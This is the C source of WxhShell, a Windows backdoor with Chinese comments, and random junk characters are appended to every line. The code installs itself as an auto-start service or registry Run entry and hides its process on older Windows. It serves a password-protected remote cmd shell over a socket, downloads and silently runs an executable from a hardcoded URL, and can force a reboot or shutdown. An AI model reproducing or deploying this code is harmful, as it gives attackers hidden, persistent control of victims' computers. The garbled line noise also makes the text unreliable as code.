    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?N#[<kd  
    else { 6:RMU  
    closesocket(wsh); b{HhS6<K?  
    ExitThread(0); Qu_EfmN|  
    } /oDpgOn  
    break; 9qeZb%r&  
    } "8t\MKt(  
  // 获取shell J8h7e}n?  
  case 's': { B "n`|;r5  
    CmdShell(wsh); H0tF  
    closesocket(wsh); 8m7eaZ  
    ExitThread(0); \L#QR  
    break; }*-u$=2  
  } 5vGioO  
  // 退出 Riq|w+Q  
  case 'x': { ]|BojSL_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E(/ sXji!  
    CloseIt(wsh); 104!!m  
    break; : ~'Z(-a  
    } S2}Z&X(  
  // 离开 ZV#$Z  
  case 'q': { p)z-W(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `G0*l|m>  
    closesocket(wsh); n'3u] ~7^  
    WSACleanup(); V(I7*_ZFl  
    exit(1); @$ftG  
    break; /yt7#!tm+  
        } a],h<wGEx  
  } d"!yD/RD  
  } l qXc  
Ge~,[If+  
  // 提示信息 %ph"PR/t?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7%tR&F -u  
} THr8o V5  
  } c'~[!,[b<  
Ut':$l=  
  return; ~%KM3Vap  
} Uir*%*4:  
?+Hp?i$1  
// shell模块句柄 kXCY))vnn  
int CmdShell(SOCKET sock) qhN[Dj(d  
{ :r^klJ(m  
STARTUPINFO si;  9^p32G  
ZeroMemory(&si,sizeof(si)); @jKDj]\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,N0uR@GN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )8bFGX7|  
PROCESS_INFORMATION ProcessInfo; @bY?$fj_u  
char cmdline[]="cmd"; c G*(C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5Fr;  
  return 0; A~XOK;sB  
} >.LgsMRIKi  
dWjx"7^  
// 自身启动模式  /+N|X  
int StartFromService(void) >.n;mk  
{ ennR@pg  
typedef struct ?Oqzd$-  
{ |""=)-5N  
  DWORD ExitStatus; 44Q9* ."  
  DWORD PebBaseAddress; U~CdU  
  DWORD AffinityMask; ki`8(u6l  
  DWORD BasePriority; H)`@2~Y  
  ULONG UniqueProcessId; 6#O#T;f)  
  ULONG InheritedFromUniqueProcessId; /'mrDb_ip  
}   PROCESS_BASIC_INFORMATION; ,y{0bq9*2  
_2#zeT5  
PROCNTQSIP NtQueryInformationProcess; CQ$::;  
/M]eZ~QKD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sK`< kbj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >eRZ+|k?N  
"0b?+ 3_{G  
  HANDLE             hProcess; e& p_f<  
  PROCESS_BASIC_INFORMATION pbi; h)^dB,~  
RA} U#D:$i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p %L1uwLG  
  if(NULL == hInst ) return 0; !5? m  
_/ct=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TZ:34\u   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +8^5C,V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5St`@  
i,([YsRuou  
  if (!NtQueryInformationProcess) return 0; )`mbf|,&t{  
{:,_A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); & &6*ez  
  if(!hProcess) return 0; luibB&p1  
F. }l(KuJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %v_IX2'  
G5Je{N8W  
  CloseHandle(hProcess); 2YE7 23H=Z  
3IGCl w(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :fRmUAK%  
if(hProcess==NULL) return 0; Z^{+,$H@  
ix^gAot  
HMODULE hMod; E2kW=6VO>|  
char procName[255]; ;*W=c   
unsigned long cbNeeded; TeKC} NW  
H_Iim[v#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jc`Rs"2  
\Bt =bu>Z  
  CloseHandle(hProcess); gxI&f  
~:T3|  
if(strstr(procName,"services")) return 1; // 以服务启动 r}ZLf  
ax4*xxU  
  return 0; // 注册表启动 O+p]3u  
} MF&3e#mdB  
>_-!zjO8u  
// 主模块 ``+c`F?5  
int StartWxhshell(LPSTR lpCmdLine)  NvUu.  
{ ud yAP>  
  SOCKET wsl; ]{(l;k9=e  
BOOL val=TRUE; m dC`W&r  
  int port=0; 09G9nu;&{  
  struct sockaddr_in door; XO0>t{G  
z<n"{%  
  if(wscfg.ws_autoins) Install(); CdDH1[J  
^eT@!N  
port=atoi(lpCmdLine); o>0O@NE  
1$);V,DK!  
if(port<=0) port=wscfg.ws_port; c/b%T  
r|l53I 5  
  WSADATA data; u/_Gq[Q,u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ri#,ec|J  
&}>|5>cJu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ri"?, }(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ==nYe { 2  
  door.sin_family = AF_INET; wu;7NatHx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +d@v AxP  
  door.sin_port = htons(port); giaD9$C  
xR *5q1j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ylkpYd  
closesocket(wsl); *4-r`k|@>/  
return 1; Ok*VQKyDLH  
} MhHr*!N"}  
4,j4E@?pG9  
  if(listen(wsl,2) == INVALID_SOCKET) { tDEXm^B2Sv  
closesocket(wsl); A(q~{  
return 1; |VTWw<{LX  
} V/`#B$6  
  Wxhshell(wsl); l{nB.m2  
  WSACleanup(); )\um "l*\c  
=]!8:I?C<  
return 0; ,D:iQDG^  
DhY;pG,t  
} jA A'h A  
kSLSxfR  
// 以NT服务方式启动 Pbc`LN /s|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /uC+.B9k  
{ ^:qpa5^"  
DWORD   status = 0; X QI.0L"  
  DWORD   specificError = 0xfffffff; dK:l&R  
NnJ>0|74g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; en Pzy:C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Coga-: 2vu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +F1]M2p]  
  serviceStatus.dwWin32ExitCode     = 0; CbnR<W-j  
  serviceStatus.dwServiceSpecificExitCode = 0; 5JQd)[Im  
  serviceStatus.dwCheckPoint       = 0; `K$:r4/[  
  serviceStatus.dwWaitHint       = 0; )3k)2XF  
FI3sLA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x%b]e a  
  if (hServiceStatusHandle==0) return; bk/.<Rt  
X4Pm)N `  
status = GetLastError(); C*"Rd   
  if (status!=NO_ERROR) cFRSd }p=  
{ ~+nS)4 (  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EZ:I$X  
    serviceStatus.dwCheckPoint       = 0; $ 1ak I  
    serviceStatus.dwWaitHint       = 0; zb@L)%  
    serviceStatus.dwWin32ExitCode     = status; RH<@c^ S  
    serviceStatus.dwServiceSpecificExitCode = specificError; j)6@q@P/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /uy&2l  
    return; @#bBs9@gv  
  } sL!;hKK  
N2[, aU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9)G:::8u7  
  serviceStatus.dwCheckPoint       = 0; ,$hQ(yF  
  serviceStatus.dwWaitHint       = 0; SlH7-"Ag  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,2=UuW"K  
} ,m #@%fa  
@"q~ AY  
// 处理NT服务事件,比如:启动、停止 c28oLT1|D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PiIp<fJd$  
{ ^U0apI  
switch(fdwControl) yC9:sQ'k  
{ / e~  
case SERVICE_CONTROL_STOP: t:?<0yfp&  
  serviceStatus.dwWin32ExitCode = 0; B| $\/xO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H @3$1h&YS  
  serviceStatus.dwCheckPoint   = 0; !1ie:z>s  
  serviceStatus.dwWaitHint     = 0; d+gk q\  
  { OGSEvfW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UMHuIA:%U  
  } m _t(rn~f6  
  return; |_Naun=+~  
case SERVICE_CONTROL_PAUSE: 9b{g+lMZo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nr 'YWW  
  break; |YG)NO  
case SERVICE_CONTROL_CONTINUE: w3>Y7vxiz`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TzD:bKE&  
  break; &%_y6}xIw  
case SERVICE_CONTROL_INTERROGATE: "Qiq/"h  
  break; ZaEBdBv  
}; 9m<X-B&P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B`RW-14g  
} t[H_6)  
|Fh`.iT%c  
// 标准应用程序主函数 (P]^8qc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -9tXv+v?  
{ 1CF7  
44/ 0}v]  
// 获取操作系统版本 @&am!+z  
OsIsNt=GetOsVer(); aT`02X   
GetModuleFileName(NULL,ExeFile,MAX_PATH); |Oj,S|Z:  
U 8qKD  
  // 从命令行安装 &?`d8\z  
  if(strpbrk(lpCmdLine,"iI")) Install(); ; @[.$Q@I  
(&N$W&  
  // 下载执行文件 ,b2O^tJF#  
if(wscfg.ws_downexe) { P:zEx]Y%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o'= [<  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2vW,.]95M  
} e+]YCp[(  
} (GQDJp  
if(!OsIsNt) { B?/12+sR  
// 如果时win9x,隐藏进程并且设置为注册表启动 D6pEQdX`  
HideProc(); i?P]}JENM  
StartWxhshell(lpCmdLine); z- {"pI  
} H|(*$!~e  
else Y/:Q|HnXQ  
  if(StartFromService()) T$>=+U  
  // 以服务方式启动 IdC k  
  StartServiceCtrlDispatcher(DispatchTable); nKZRq&~^E  
else 3'gd'`Hn/  
  // 普通方式启动 g-TX;(  
  StartWxhshell(lpCmdLine); ];wohW%  
FZ}C;yUPD  
return 0; lHj7O &+  
} 9X^-)G>  
J^<j=a|D  
ZQ-z2s9U  
><Mbea=U+  
=========================================== )Or:wFSMq  
.J7-4  
W4] 0qp`\  
0ghwFo  
se*pkgWbz  
'Rar>oU  
" OU Yb-  
ggYIq*4  
#include <stdio.h> wtgO;w  
#include <string.h> \`<s@U  
#include <windows.h> :ayO+fr#  
#include <winsock2.h> H 29 _ /  
#include <winsvc.h> ?M1 QJ  
#include <urlmon.h> 4HYH\ey  
=tvm=  
#pragma comment (lib, "Ws2_32.lib") 0I AaPz/e  
#pragma comment (lib, "urlmon.lib") Nr*ibtz|D  
y&O_Jyg<  
#define MAX_USER   100 // 最大客户端连接数 d T0 z^SG  
#define BUF_SOCK   200 // sock buffer Zqe[2()  
#define KEY_BUFF   255 // 输入 buffer A_4\$NZ^  
*b7 ^s,?  
#define REBOOT     0   // 重启 oVj A$|  
#define SHUTDOWN   1   // 关机 s-YV_  
_o=`-iy9  
#define DEF_PORT   5000 // 监听端口 \2LA%ZU  
^!s}2GcS`  
#define REG_LEN     16   // 注册表键长度 daokiU+l2  
#define SVC_LEN     80   // NT服务名长度 ?_h#>  
FL_ arhrqD  
// 从dll定义API y O9pEO|W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m`4j|5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); & /FA>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0%L$TJ.''  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gm?"7R.  
*IfIRR>3l(  
// wxhshell配置信息 =_~'G^`tu  
struct WSCFG { ]V[  
  int ws_port;         // 监听端口  OG<]`!"  
  char ws_passstr[REG_LEN]; // 口令 ysP/@;jC  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4dD@lG~  
  char ws_regname[REG_LEN]; // 注册表键名 CEJG=*3  
  char ws_svcname[REG_LEN]; // 服务名 y`P7LC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $AJy^`E^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I]S(tx!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u/{_0-+P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U=*q;$L#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zw;(:fgY#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M`g Kt (3  
,;- cz-,  
}; Z~R/ p;@  
',-X#u  
// default Wxhshell configuration (fjXp75  
struct WSCFG wscfg={DEF_PORT, :\HN?_?{4  
    "xuhuanlingzhe", fJ+E46|4  
    1, &cv /q$W4  
    "Wxhshell", N 7|W.(  
    "Wxhshell", X]qp~:4G  
            "WxhShell Service", kO\&mL& qD  
    "Wrsky Windows CmdShell Service", kTe<1^,m  
    "Please Input Your Password: ", 'bqf?3W  
  1, #cg@Z  
  "http://www.wrsky.com/wxhshell.exe", 7!d<>_oH  
  "Wxhshell.exe" 6b 5{  
    }; ^L2Zo'y [  
}&^bR)=  
// 消息定义模块 hFF&(t2{^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0~I) /T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }t{^*(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !7Q.w/|=  
char *msg_ws_ext="\n\rExit."; 9bYHb'70  
char *msg_ws_end="\n\rQuit."; Boz_*l|  
char *msg_ws_boot="\n\rReboot..."; O9 r44ww  
char *msg_ws_poff="\n\rShutdown..."; ?Pf ,5=*B  
char *msg_ws_down="\n\rSave to "; OaVL NA^{  
_rWXcK3cjr  
char *msg_ws_err="\n\rErr!"; tbt9V2U:"n  
char *msg_ws_ok="\n\rOK!"; 63\>MQcLy  
,kuFTWB  
char ExeFile[MAX_PATH]; ="*C&wB^  
int nUser = 0; \fGYJ37  
HANDLE handles[MAX_USER]; 9#ay(g  
int OsIsNt; h-u*~5dB<&  
=>TtX@Q{  
SERVICE_STATUS       serviceStatus; $TUC?e9"h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mi3q1npb7[  
8XXTN@&,  
// 函数声明 -^%"w  
int Install(void); RB 0j!H:  
int Uninstall(void); = ~R3*GN  
int DownloadFile(char *sURL, SOCKET wsh); >?\ !k c  
int Boot(int flag); O4+w2'.,  
void HideProc(void); Ki 6BPi^  
int GetOsVer(void); Z\yLzy#8  
int Wxhshell(SOCKET wsl); "alO"x8t  
void TalkWithClient(void *cs); JQv ZTwSI  
int CmdShell(SOCKET sock); Xrs~ove1V  
int StartFromService(void); ? 9M+fi  
int StartWxhshell(LPSTR lpCmdLine); B,qZwc|  
yD'h5)yu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &~6O;}\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E&=?\KM  
y")>"8H  
// 数据结构和表定义 G&B}jj  
SERVICE_TABLE_ENTRY DispatchTable[] = X%qR6mMfT7  
{ tg4&j$  
{wscfg.ws_svcname, NTServiceMain}, %bETr"Xom  
{NULL, NULL} )%W2XvG  
}; 8U$UI  
jWjK-q@Y  
// 自我安装 }|,\ ?7,  
int Install(void) KPK!'4,cu  
{ 2{qG  
  char svExeFile[MAX_PATH]; k0=y_7 =(5  
  HKEY key; PhL5EYn  
  strcpy(svExeFile,ExeFile); 2]KPW*V  
7"U,N;y  
// 如果是win9x系统,修改注册表设为自启动 xL#oP0d<e  
if(!OsIsNt) { 0([jD25J!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Ei#t FMc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nmAXU!t'  
  RegCloseKey(key); ^OsUWhkV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M0\[hps~X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BuO J0$  
  RegCloseKey(key); ^@cX0_  
  return 0; 9%veUvY  
    } %zVv3p:  
  } D($UbT-v  
} *m/u3.\  
else { PhdL@Mr  
4& WzG nK  
// 如果是NT以上系统,安装为系统服务 _Xe< JJvq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^W*)3;5  
if (schSCManager!=0) 5.;$9~d  
{ ]zAg6*-/B  
  SC_HANDLE schService = CreateService JG$J,!.\  
  ( vIv3rN=5vB  
  schSCManager, rI$10R$+H  
  wscfg.ws_svcname, /v<8x?=  
  wscfg.ws_svcdisp, 2,`mNjHh  
  SERVICE_ALL_ACCESS, ,o6:  V]a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7hE=+V8  
  SERVICE_AUTO_START, Jk{2!uP  
  SERVICE_ERROR_NORMAL, 5Uz(Bi  
  svExeFile, Qc/J"<Lx  
  NULL, +#9 (T  
  NULL, :36^^Wm  
  NULL, <o`]wOrl  
  NULL, N_}Im>;!  
  NULL !I$RE?7eY  
  ); Sv",E@!f  
  if (schService!=0) w N.Jyb  
  { Ee| y[y,  
  CloseServiceHandle(schService); 1z!Lk*C)  
  CloseServiceHandle(schSCManager); %8}w!2D S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <FLc0s  
  strcat(svExeFile,wscfg.ws_svcname); ~)(Dm+vZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q|\Cp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [X\2U4  
  RegCloseKey(key); 6ng9 o6  
  return 0; X:bgY  
    }  yFv3>\  
  } =-Tetp  
  CloseServiceHandle(schSCManager); .v!e=i}.  
} z81!F'x;  
} ,bg#pG!x Q  
oZw#Nd   
return 1; U{m:{'np(H  
} QJ'C?hn  
-hfY:W`Dz  
// 自我卸载 NyNu1V$  
int Uninstall(void) $x0F(|wxt  
{ {%dQV#'c  
  HKEY key; "=O)2}  
}R(_^@ ]  
if(!OsIsNt) { YzVLa,[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S d -+a  
  RegDeleteValue(key,wscfg.ws_regname); *8+YR  
  RegCloseKey(key); %&NK|M+n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /GNYv*  
  RegDeleteValue(key,wscfg.ws_regname); Dbd5d]]n3  
  RegCloseKey(key); %UhF=C  
  return 0; G3n7x?4m  
  } s"Wdbw(O'  
} jiDYPYx;I  
} F[Up  
else { m5*RB1  
^%.<(:k[L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0SYkDI  
if (schSCManager!=0) C7:Ry)8'I  
{ j/\XeG>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =<icHt6s  
  if (schService!=0) N\$6R-L  
  { nXjUTSGa)  
  if(DeleteService(schService)!=0) { `MS=/xE  
  CloseServiceHandle(schService); HF:PF"|3  
  CloseServiceHandle(schSCManager); $fO*229As  
  return 0; J.(_c ' r  
  } ,GlK_-6>  
  CloseServiceHandle(schService); f #14%?/  
  } Dc2eY.  
  CloseServiceHandle(schSCManager); 7085&\9  
} J %t1T]y~  
} jrR~V* :k  
ycN_<  
return 1; I._=q  
} i)ctrdP-  
?u|g2!{_  
// 从指定url下载文件 H'.d'OE:I  
int DownloadFile(char *sURL, SOCKET wsh) -mF9Skj  
{ mBF?+/l  
  HRESULT hr; &3efJ?8  
char seps[]= "/"; |SmN.*&(9  
char *token; U;/ )V  
char *file; @AFLFX]  
char myURL[MAX_PATH]; D.~t#a A  
char myFILE[MAX_PATH]; *W  l{2&  
Pa*yo:U'h  
strcpy(myURL,sURL); `y(3:##p  
  token=strtok(myURL,seps); $Z4p$o dk  
  while(token!=NULL) h kY E7  
  { Fu$otMw%l  
    file=token; A [JV*Dt  
  token=strtok(NULL,seps); RPu-E9g@  
  } `:&{/|uP7  
YH9BJ  
GetCurrentDirectory(MAX_PATH,myFILE); '1+ Bgf  
strcat(myFILE, "\\"); (46)v'?  
strcat(myFILE, file); bPEAG=l"-  
  send(wsh,myFILE,strlen(myFILE),0); Fei$94 a  
send(wsh,"...",3,0); ,>Q,0bVhH0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5sH ee,  
  if(hr==S_OK) U+z&jdnhDR  
return 0; Wil +"[Ge  
else 2=  _.K(  
return 1; #"|Ey6&  
BeRn9[  
} ~H.;pJ{ 8  
\a#2Wm  
// 系统电源模块 P-C_sj A7  
int Boot(int flag) M:~#"lfK  
{ ]KmYPrCl0  
  HANDLE hToken; B4?P"|  
  TOKEN_PRIVILEGES tkp; Z=xrj E  
|[ge ,MO:  
  if(OsIsNt) { c=5$bo]LI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C,E 5/XW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AG?oA328  
    tkp.PrivilegeCount = 1; >HDK< 1>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?s//a_nL*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )`)cB)s  
if(flag==REBOOT) { 86i =N _  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0bor/FU-d  
  return 0; -(jcsqDk  
} L\UYt\ks  
else { $I'ES#8P6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u=4Rn  
  return 0; V\_ &2',t  
} /#a$4 }2L  
  } l!b#v`  
  else { >\e11OU0Gy  
if(flag==REBOOT) { >y?$aJ8ZV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <K43f#%  
  return 0; Bn.8wMB  
} l}m@9 ~oC  
else { #>0nNR[$Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }\@*A1*X2  
  return 0; ]k hY8it  
} QAR<.zXvP  
} 7-^d4P+|g  
Ne=D $o  
return 1; w$pv  
} xN5}y3  
` p)#!  
// win9x进程隐藏模块 k,?k37%T]  
void HideProc(void) _jtBU  
{ Mqq7;w@(J  
OlP#|x*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }} IvZG&  
  if ( hKernel != NULL ) Nz m 7E]  
  { # RtrHm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PKP( :3|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xd* kNY  
    FreeLibrary(hKernel); ]8RcZn  
  } EfOJ%Xr[,l  
1&dWt_\  
return; m^wYRA.  
} qwN-VCj  
VL\6U05Z  
// 获取操作系统版本 | 2mEowAd  
int GetOsVer(void) BM3nZ<%3  
{ !Ed';yfz\(  
  OSVERSIONINFO winfo; kWgxswl7H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [j5L}e!T  
  GetVersionEx(&winfo); Uu G;z5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N(D_*% 96  
  return 1; G,J$lT X  
  else @Fo0uy\ G  
  return 0; RsE+\)  
} y'(;!5w  
K\uR=L7  
// 客户端句柄模块 6%)dsTAB  
int Wxhshell(SOCKET wsl) !4|7U\;  
{ HH>]"mv  
  SOCKET wsh; /@0wbA  
  struct sockaddr_in client; .6r&<*  
  DWORD myID; P5[.2y_qM  
>]Y`-*vw&  
  while(nUser<MAX_USER) 5R qkAC  
{ V97Eb>@  
  int nSize=sizeof(client); SA'  zy45  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hse$M\5  
  if(wsh==INVALID_SOCKET) return 1; Up8#Nz T  
NKRNEq!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LdA&F& pI  
if(handles[nUser]==0) gzeG5p  
  closesocket(wsh); Ra.<D.  
else GR/ p%Y(  
  nUser++; 90Q}9T\  
  } hEDj"`Px  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7Ij'!@no  
9Czc$fSSt  
  return 0; Ur_~yX]Mo  
} m+CvU?)gJ  
F$d`Umqs;P  
// 关闭 socket 2nk}'HBe  
void CloseIt(SOCKET wsh) hMdsR,Iq  
{ OD{Rh(Id  
closesocket(wsh); h"j{B  
nUser--; z1s9[5  
ExitThread(0); x#U?~6.6  
} WG9x_X&XJ  
zDC-PHF HQ  
// 客户端请求句柄 w_6h $"^x  
void TalkWithClient(void *cs) gzxLHPiw  
{ LvB-%@n  
/,wG$b+  
  SOCKET wsh=(SOCKET)cs; >wZ!1Jq  
  char pwd[SVC_LEN]; CJ?Lv2Td  
  char cmd[KEY_BUFF]; \=1k29O  
char chr[1]; =Bl#CE)X  
int i,j; H~fZA)W 4Y  
$kg!XT{ V  
  while (nUser < MAX_USER) { O]`CSTv'_  
j$BM$q/c  
if(wscfg.ws_passstr) { F?3a22Zg#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #TRPq>XzD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s<tdn[d  
  //ZeroMemory(pwd,KEY_BUFF); jf@#&%AC9  
      i=0; )/UPDdO  
  while(i<SVC_LEN) { FSC74N/  
s@Y0"   
  // 设置超时 a,!c6'QE  
  fd_set FdRead; p^^E(<2  
  struct timeval TimeOut; c)+IX;q-C  
  FD_ZERO(&FdRead); 0fwo8NgX  
  FD_SET(wsh,&FdRead); (eFHMRMv~  
  TimeOut.tv_sec=8; NJwcb=*  
  TimeOut.tv_usec=0; #X`j#"Ov2(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); % ?@PlQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \f05(ld  
o=7 -&F.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _=}Efy7  
  pwd=chr[0]; t /1KKEZM  
  if(chr[0]==0xd || chr[0]==0xa) { }hhDJ_I5M  
  pwd=0; :voQ#f=  
  break; :k#Y|(  
  } }qRYXjS  
  i++; bR(rZu5  
    } H4MFTnJ{  
d?.ewsC  
  // 如果是非法用户,关闭 socket 8W9kd"=U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y 8EL  
} 8N'[ )Jw  
5F18/:\n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YOqGFi~`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [g`P(?  
MZv In ZS  
while(1) { h:}oUr8   
Y7{IF X  
  ZeroMemory(cmd,KEY_BUFF); K]1A,Q  
mY+J ju1  
      // 自动支持客户端 telnet标准    km|;T!  
  j=0; ] K3^0S/  
  while(j<KEY_BUFF) { TW" TgOfd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n>" 0y^v  
  cmd[j]=chr[0]; 5(]=?$$*t  
  if(chr[0]==0xa || chr[0]==0xd) {  mR)Xq=  
  cmd[j]=0; Ivmiz{Oii  
  break; lQ {k  
  } oYG9i=lZ  
  j++; KY~p>Jmh  
    } TmxhP nJ~  
qH1[Bs Ox  
  // 下载文件 4$oNh)+/h  
  if(strstr(cmd,"http://")) { 40w,:$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N7v7b<6  
  if(DownloadFile(cmd,wsh)) Tu"bbc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bH%k)  
  else b3N1SC:Wn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SxI='z_S.f  
  } `q@5d&d`j  
  else { wuR Q H]N  
Z ]V^s8>  
    switch(cmd[0]) { U-&dn%Sq  
  |3<tDq@+  
  // 帮助 gdPv,p19L  
